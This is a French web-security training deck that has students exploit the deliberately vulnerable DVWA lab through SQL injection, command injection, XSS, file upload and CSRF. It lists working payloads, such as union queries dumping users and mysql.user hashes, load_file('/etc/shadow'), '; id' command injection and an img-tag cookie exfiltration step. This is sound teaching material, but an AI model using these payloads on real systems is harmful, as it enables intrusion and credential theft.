TP exploitation de failles Web

Denis Ducamp – Pierre-Yves Bonnetain

B&A CONSULTANTS SECURITE INFORMATIQUE

Plan

B&A CONSULTANTS SECURITE INFORMATIQUE

Aspects légaux

- Seulement sur une machine **qui vous appartient**
- ou accord écrit du propriétaire du système cible
- articles 313-1 et suivants du code pénal
  - 75 000 € d'amende
  - 5 ans de prison

Comme on dit

« Ah ouais, y'en a qu'on essayé, ils ont eu des problèmes ! »
Chevalier/Laspalès, « Le train pour Pau »

B&A CONSULTANTS SECURITE INFORMATIQUE

Installation DVWA

- Récupérer le fichier ISO
  `http://download.vulnhub.com/dvwa/DVWA-1.0.7.iso`
- Créer une machine virtuelle
  - Linux (Debian 32 bits),
  - 256 Mo de mémoire,
  - pas de disque dur,
  - réseau privé hôte
  - lecteur de CD virtuel contient l'ISO précédent
- Démarrer la machine virtuelle
- Examiner son adresse IP (`ifconfig`)
- La fenêtre de la machine virtuelle peut alors être iconifiée
- Au cas où... `sudo loadkeys fr` (mot de passe `dvwa` : `password` ; le tout avec un clavier Qwerty)

Utilisation DVWA

- Se connecter avec un navigateur sur `http://IP_machine`
- Authentification : `admin` et `password`
- Aller dans `Setup`, cliquer sur `Create/Reset database`
- Aller dans `DVWA Security`, choisir le niveau `low` (pour commencer), cliquer sur `Submit`

Conseil

Dans tous les formulaires à attaquer, un bouton `View source` est disponible (en bas à droite de la fenêtre). N'hésitez pas à examiner le code, cela aide à chercher/comprendre/exploiter les vulnérabilités.

B&A CONSULTANTS SECURITE INFORMATIQUE

Plan

B&A CONSULTANTS SECURITE INFORMATIQUE

Description

- Le serveur utilise la donnée fournie par l'utilisateur pour effectuer une requête SQL
- La donnée agressive change la sémantique de la requête SQL
- L'internaute peut alors exécuter les requêtes SQL qu'il souhaite
- et accéder aux données qui l'intéressent

Conséquences

Problèmes de sécurité : confidentialité et intégrité des données

B&A CONSULTANTS SECURITE INFORMATIQUE

Exploitation

Comment l'exploiter ?

- Formulaire DVWA : *SQL injection*
- Savoir ce que le serveur attend
  - longueur, types de caractères...
  - Exemple : un code postal contient cinq chiffres.
- Et essayer « autre chose »
  - Caractères spéciaux, mots-clés SQL...
  - `'` / `'␣--␣` / `#`
  - `order by` / `or` / `@@version`...
- La cible est un moteur SQL
- Analyser les messages d'erreur, lorsque l'application a la courtoisie de les afficher
- Adapter les données transmises jusqu'à sortir de la sémantique de la requête SQL originelle

B&A CONSULTANTS SECURITE INFORMATIQUE

Exemples d'exploitation

- `1` ⇒ `admin/admin` (un enregistrement affiché)
- `1'` ⇒ `You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1'' at line 1`
- `1';␣--␣` ⇒ `admin/admin` (un enregistrement affiché)
- `1' or 1=1;␣--␣` ⇒ `admin/admin`, `Gordon/Brown`, `Hack/Me`, `Pablo/Picasso`, `Bob/Smith` (cinq enregistrements affichés)

Il est fondamental...

de comprendre *pourquoi* on obtient ces résultats, tout particulièrement pour le dernier exemple.

B&A CONSULTANTS SECURITE INFORMATIQUE

A faire, et suggestions. . . – 1

- Récupérer la version du serveur MySQL
  - `union`, `select` et `@@version`
  - `order by` permet de déterminer le nombre de colonnes
- Récupérer le nom de la machine : `@@hostname`
- Récupérer le nom de l'utilisateur système : `current_user()`, `user()`
- Récupérer le nom de la base de données : `database()`

B&A CONSULTANTS SECURITE INFORMATIQUE

A faire, et suggestions. . . – 2

- Récupérer la liste des bases gérées par ce SGBD : `schema_name from information_schema.schemata`
- Récupérer la liste des tables de chaque base : `table_name from information_schema.tables where table_schema = 'dvwa'`
- Récupérer les colonnes des tables des bases : `concat(table_name,0x3a,column_name) from information_schema.columns where table_name = 'users'`
- Récupérer les données d'une table : `concat(user,0x3a,password,0x3a,first_name,0x3a,last_name) from users`

B&A CONSULTANTS SECURITE INFORMATIQUE

A faire, et suggestions. . . – 3

- Récupérer les utilisateurs enregistrés pour MySQL : `concat(user,0x3a,password) from mysql.user`
- Récupérer le répertoire contenant les bases de données : `@@datadir`

A faire, et suggestions. . . – 4

- Lire un fichier, par exemple `/etc/password` : `load_file('/etc/passwd')`
- Lire le fichier `/etc/shadow` : `load_file('/etc/shadow')`

B&A CONSULTANTS SECURITE INFORMATIQUE

Plan

B&A CONSULTANTS SECURITE INFORMATIQUE

Description

- Application utilise donnée fournie par utilisateur pour exécuter une commande système
- Donnée « spéciale » change sémantique de la commande système
  - L'utilisateur peut exécuter les commandes systèmes qu'il souhaite
  - donc accéder aux données qu'il souhaite

Conséquences

Problèmes de sécurité : confidentialité et intégrité du système

B&A CONSULTANTS SECURITE INFORMATIQUE

Exploitation

- Formulaire DVWA : *Command execution*
- Comment l'exploiter ?
  - Savoir ce qu'attend le serveur : adresse IPv4 contient quatre groupes numériques séparés par un point
  - Essayer autre chose : caractères spéciaux, commandes système
    - `;`
    - `>/dev/null`
    - `2>&1`
    - `&&`
    - `||`
    - `id`
    - `ps`
    - `cat /etc/passwd`
  - Analyser les messages d'erreur éventuellement affichés
  - Altérer la donnée envoyée jusqu'à obtention des résultats cherchés.

Exemples

- `127.0.0.1` ⇒ `PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. ... rtt min/avg/max/mdev = 0.027/0.030/0.035/0.007 ms`
- `127.0.0.1 >/dev/null` ⇒ pas d'affichage, mais trois secondes d'attente environ
- `2>&1` ⇒ `Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]...`
- `; id` ⇒ `uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)`

De nouveau...

Il est *fondamental* de comprendre ce qui se passe réellement au niveau du code.

A faire... – 1

- Exécuter les commandes « `id` », « `uname -a` » et « `pwd` » en une seule opération
- Exécuter « `ls -l` » sur le fichier `/etc/passwd` et en afficher le contenu

B&A CONSULTANTS SECURITE INFORMATIQUE

A faire, et suggestions. . . – 2

Lister

- les interfaces réseau : commande `ifconfig`
- la table de routage : commande `netstat -nr`
- les ports réseau en écoute : commande `netstat -antup`

Plan

B&A CONSULTANTS SECURITE INFORMATIQUE

Description

- XSS : Cross Site Scripting
- Une donnée reçue d'un utilisateur (navigateur) est renvoyée à un autre utilisateur
- Cette donnée **est interprétée** par le client cible
- L'expéditeur peut exécuter du code dynamique (JavaScript) dans le navigateur du destinataire

Conséquences

Problèmes de sécurité : confidentialité et intégrité des données

Protections des navigateurs

Firefox et Chrome détectent situation *données actives envoyées* **et** *reçues en retour*.

FireFox `about:config`, `browser.urlbar.filter.javascript` à `false`

Chrome démarrer avec `--disable-web-security` (selon versions ?)

Autre possibilité, utiliser la variante *XSS stockée*. La donnée est alors enregistrée dans la base de données, et envoyée à tous les visiteurs qui chargent une certaine page.

Exploitation

- Formulaire DWVA : *XSS reflected*
- Comment l'exploiter ?
  - Trouver un champ qui renvoie les données reçues
  - Vérifier que le programme ne modifie pas ces données
  - Notamment les caractères spéciaux < et >
  - **Note :** regarder le source de la page reçue
    - `Ctrl-U` : afficher source
    - `Ctrl-Shift-I` : outils/développement/Inspecteur
    - `Ctrl-I`/Média : informations sur la page

B&A CONSULTANTS SECURITE INFORMATIQUE

A faire... – 1

- Ouvrir un popup de preuve de concept : fonction JS `alert()`
- Afficher les cookies de session dans ce popup : variable JS `document.cookie`
- Vérifier que ces cookies correspondent bien à ceux de la session DVWA en cours

A faire, suggestions... – 2

- Créer et inclure dans la page un marqueur `img` sur une URL contenant les cookies. Le navigateur activera automatiquement cette URL, et exfiltrera donc les cookies de session.
  - `document.write(...)`
  - `img src='...'`
  - `escape(document.cookie)`
  - Vérifier que le journal des accès local (`/opt/lampp/logs/access_log`) contient bien une ligne `/script/?var=PHPSESSID%3D...security%3Dlow`
- Afficher un autre site : `iframe src=...`

B&A CONSULTANTS SECURITE INFORMATIQUE

Plan

B&A CONSULTANTS SECURITE INFORMATIQUE

Description

1. Accès aux données
   - Les utilisateurs qui téléversent un fichier sur un serveur supposent usuellement que ce serveur protège le fichier
   - Un manque de protection peut permettre à un tiers d'accéder à un fichier
   - voire de le modifier

Conséquences

Problèmes de sécurité : confidentialité et intégrité

2. Téléversement code
   - Le type/contenu des fichiers téléversés doit être vérifié
   - sinon, possible de stocker n'importe quoi sur le serveur
   - Si possible d'accéder à ces fichiers (en exécution), tout peut arriver

Conséquences

Problèmes de sécurité : intégrité, confidentialité, contrôle

A faire... – 1

- Formulaire DVWA : *Upload*
- Choisir une image sur votre machine
- La téléverser via le formulaire
- Trouver
  - le répertoire de stockage de l'image sur le serveur
  - l'image téléchargée
  - les autres images du répertoire

Plan

B&A CONSULTANTS SECURITE INFORMATIQUE

Description

Cross-site request forgery

Un utilisateur est « forcé », à son insu, d'exécuter une commande dans une application Web sur laquelle il est authentifié. Quand utilisateur authentifié, cookies de session toujours ajoutés (par le navigateur) dans toutes les requêtes vers l'application.

- Une application web accepte les soumissions de formulaires par des requêtes `GET`
- L'utilisateur est amené à cliquer sur un lien via une page web ou un email
- Du Javascript/AJAX provenant d'un site malveillant/compromis réalise des requêtes (`GET` ou `POST`) vers l'application vulnérable

B&A CONSULTANTS SECURITE INFORMATIQUE

Exploitation

- Formulaire DVWA : *CSRF*
- Soumettre des données dans le formulaire
- Vérifier que les données sont passées dans une requête `GET`
  - Dans le navigateur les données sont affichées dans la barre de navigation
- Retrouver les données entrées dans l'URL
  - Les modifier
  - Soumettre de nouveau l'URL

B&A CONSULTANTS SECURITE INFORMATIQUE

A faire...

- Changer le mot de passe de l'utilisateur courant via le formulaire
- Cliquer sur la barre de navigation et activer de nouveau l'URL
  - Vérifier que le retour est le même que précédemment
- Modifier les données de l'URL pour changer le mot de passe en `toto`
- Vérifier que le mot de passe a bien été changé

B&A CONSULTANTS SECURITE INFORMATIQUE